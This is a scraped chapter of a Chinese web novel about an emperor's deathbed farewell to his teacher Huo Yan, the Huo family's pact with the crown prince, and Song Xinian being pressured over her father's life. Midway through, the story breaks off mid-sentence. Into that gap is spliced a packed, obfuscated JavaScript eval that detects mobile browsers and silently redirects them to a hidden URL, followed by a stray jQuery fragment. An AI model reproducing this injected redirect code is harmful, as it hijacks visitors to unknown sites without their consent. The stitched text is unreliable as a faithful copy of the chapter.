58. 第 58 章
作品:《凤落西山何时归》 事情发展到这一步,也由不得霍慎选择了,霍慎便顺其自然,尽人事,听天命!
“既然皇上信得过,那我就斗胆一试,但不知太子殿是否信得过我?”
霍慎不想自己成为问题的主导者,便直接把决定权交给太子,由他做最后的选择,这样自己进可攻,退可守,没有损失。
大家的注意力一下子又回到太子身上,太子发觉霍慎的确聪明,他对霍慎的表现很是满意,自然不会拒绝。
“霍四公子,本就机智过人,又是父皇给我选定好的人选,本宫于情于理都不会拒绝的!”
太子这话说得很是巧妙,他称呼霍慎为霍家四公子,而不是霍慎,也就是说太子把霍家和霍慎捆绑在了一起,若是将来祖孙俩出现分歧,只要不拿到台面上来就是霍家自家的分歧,若是拿上台面必然要是意见统一的,否则霍家就休想在朝堂长久立足,迟早分崩离析。这也就很好地牵制了霍家。
“那我还有一个要求,请太子殿下务必答应!若是决定信我便永不能疑。我也承诺殿下,只要君不疑臣,臣必忠!”
霍慎还是想为自己和霍家尽量争取未来的筹码,尤其是现在先帝未亡,新帝未出时,是最绝佳的时间。
二人的博弈不分胜负,棋逢对手!
“老师,你瞧见了嘛,我的选择没错吧,你这孙子论才智和胆量都不输给您,甚至还比您多了几分傲气在!”
皇帝像是邀功似的,和霍岩说着,如同之前很多次一样,坚信自己的选择是对的,或许这就是身为帝王的通病。
皇帝又当着众人的面和霍岩絮絮叨叨说了许多往事,也许人之将死,记得最清楚的反而是从前的往事,交谈中皇帝始终没有自称为‘朕’都是用‘我’代替,这足以证明霍岩这个老师在皇帝心中的地位。
霍岩始终是握着皇帝的手,静静地听他说着,就像从前霍岩给皇帝上课时一样,也是认真聆听着,给足了尊重。
“老师。我要是再睡会儿,您在这儿陪着我吧!”
“好!”
只这一个字,消除了皇帝心中从前对霍家的所有怀疑,也保住了霍家未来的长盛不衰!
霍岩轻轻扶着皇帝躺下,为他盖了被子,之后就坐在床边,坐在这个离皇帝最近的位子上,紧握他的手,像是在给皇帝最后的安全感。
皇后吩咐了其余的人下去休息,但没有准许他们出宫,内殿里只留了霍岩、皇后、太子和黄内侍陪着皇帝迎接属于他生命的尽头。
就这么等了三日,沉睡了许久的皇帝悠悠转醒。皇帝醒来就看见趴在自己床头的霍岩,即使是睡着了霍岩也没有松开紧握着皇帝的手。
皇帝动了动手,霍岩就立马醒来了,抬头关切注视皇帝,深邃的眸子里,透着欣喜!
“老师,我饿了!”
皇帝醒来的第一句话,就是找吃的,霍岩知道这是回光返照,但还是很庆幸皇帝最后有清醒的时候,起码不会太狼狈地迎接死亡。
皇后进来察看皇帝时,就看见皇帝坐在梳妆台前,由霍岩给他挽着发,皇帝透过铜镜对着这个与自己相伴二十年的妻子微笑,夫妻之间在这一刻一笑泯恩仇!
皇帝的洗漱是由太子亲自侍奉,更衣是由皇后上手,黄内侍为皇帝换了新的床铺,皇帝最信任的人,都在为他做着最后的事情。
一切妥当后,皇帝再次把众人叫到跟前做着最后的安排和嘱托。
皇帝的最后一餐拒绝了山珍海味,只叫人做了一碗糖粥来吃。
“老师,您能否像初见时那样,再喂我吃一次糖粥?”
皇帝当众提出这个要求,但是在场的众人并没有觉得荒唐,毕竟‘人死如灯灭’死者为大!
心满意足地吃完糖粥的皇帝,执意要躺在霍岩怀里,霍岩只能坐上龙榻,用身体支撑着皇帝。
“老师,您是不是对我很失望,如今我先去黄泉路上为老师探路,也算是我对老师的报答和赔罪了!”
“你已经做得很好了,我从未对你失望过!”
霍岩浑厚沙哑的声音,说着安慰皇帝的话,霍岩知道这也是自己最后给这个学生安慰了,他一直都知道皇帝想要的就是这句话。
皇帝闻言,便向太子招手,太子立即跪在床前,皇帝的手抚摸着太子的头,说道:
“我相信你一定也能做得很好,不会让我失望的,若要皇位稳固,你必须和你信任的人一条心,这是你皇祖父临终前留给我的最后一句话,我现在也留给你,你将来也可留给你的儿子。和我一条心的是霍家,你的会是谁呢?不管你的是谁,霍家不能亡,你明白吗?”
皇帝重重地在太子的头上敲了敲,像是嘱托更像是提醒。
皇帝根本不在意太子是否将来会像自己一样对霍家,他的目的是为霍家留下最后一道保命符,也算是给这个给了自己父爱的老头,最后的恩赐吧!
皇帝最后敲的五下,对应着“霍家不能亡”太子知道自己父亲这是一语双关,既想让自己护住霍家,又想让霍家护住自己。这五个字彻底把自己和霍家绑在一起。
说完皇帝在霍岩怀里闭上了眼睛,他的一只手被霍岩握着,一只手搭在了太子的头上,这也印证了皇帝是他们二者之间最好的桥梁。
“征儿,你安心去吧!”
霍岩最终还是说出了这句话,做出了对这个学生的最后承诺。一滴泪悄悄地从霍岩的眼眶溢出,包含了霍岩对逝去之人的感情。
太子依旧跪在原地,头顶上皇帝的手还有温度,突然太子感觉头顶上手的力度加重了,抬头看去,原来是霍岩也把手放在了太子头顶,这也表明了霍岩对太子的认可。
这一刻,之前所有的算计都烟消云散,承载他们的是对故人的情感羁绊。
霍岩带着霍慎走出皇宫时,天空的雪已经停了,但是地上的积雪,证明着时间的流逝,一切都即将是新的开始。
霍慎回到家里,直接去了卧室,阿无则在霍慎踏入院子时,就跟在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15082176|163367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
霍慎后面欲言又止。
待霍慎坐定,霍慎看着阿无,阿无面露难色,不知道怎么说。
三天前,阿无遵照霍慎的吩咐,去了乐章台找宋昔年,并带着一座宅子的地契要交给宋昔年。宋昔年看到地契后,心口滚烫,准备带着之前的十一万两银票去交给杜妈妈,便打发阿无先回去。
宋昔年直奔三楼,却看见贺怜怜也站在房门外,阿悯则是告诉她们稍等片刻。
不过多时杜妈妈叫她们进屋,宋昔年发现屋内突然变得很冷,地板上还有未化的,雪花残留,茶具也多了一套在杜妈妈对面,很明显这是有人到访过的样子。
“又是哪位神秘人刚来过?”
贺怜怜直接开口询问,她觉得以自己现在的身份,可以知道一些事情了,
“皇上快要宾天了,我很快就自由了!”
杜妈妈声音是欢快轻松的,但是眼神却是幽怨哀伤的。
这个消息实在是太突然了,两人都没想到会这么快,明明说了,还有半年的。她们都猜会在春天的时候,但是今天才刚下了第一场雪呀。
“那接下来我们该怎么办?”
贺怜怜看了一眼宋昔年。宋昔年默默拿出怀里的东西,递到杜妈妈眼前。
“天真!”
杜妈妈看了一眼宋昔年递来的东西,只说了这两个字。
宋昔年一头雾水,却又感觉莫名心里发毛。
这一切的一切每次都会超出她的预想范围。难道人想掌控自己的命运这么难嘛,宋昔年在心里不断思索,想找到答案,却被一次次的现实击溃,难道最终妥协才是她的命运吗?
“我只问你一句,你想你爹活吗?”
杜妈妈一句话,吓得宋昔年散了魂魄,她的答案根本不用问。但是杜妈妈还是问了。看似给了选择,实际没有选择。
“我可以告诉你,害得你如此境地的人,此刻都在宫里,霍慎也在宫里,你该如何选?”
“怎么可能?”
宋昔年瞬间崩溃。
宋昔年明白了杜妈妈话中的意思,她是说霍慎也是导致宋家惨况的凶手之一,宋昔年很难想象意向中立的霍家会是凶手,但是可笑的是宋昔年的直觉告诉自己杜妈妈说的是真的。
“你父亲昨天在北境矿场遭到刺杀,如果你还是不改变主意的话,我想你爹只有死路一条了!”
杜妈妈喝着茶,眼神中的情绪让宋昔年看不懂。
“您明明知道是谁,为何不能直说,我和霍慎在一起为什么我爹就会死?”
宋昔年感觉自己下一秒就要疯掉。
太多问题交织在一起,越想弄清楚越弄不清楚,就像宋昔年每次感觉看到一点希望了。迎接她的必然是更大的绝望。根本不给她喘息的机会。
“我就算告诉你了,你能怎样,你们现在没有反抗的实力和机会,不如静待来日,一击必杀,何必现在打草惊蛇,你说呢!”
杜妈妈这话说得十分诚恳。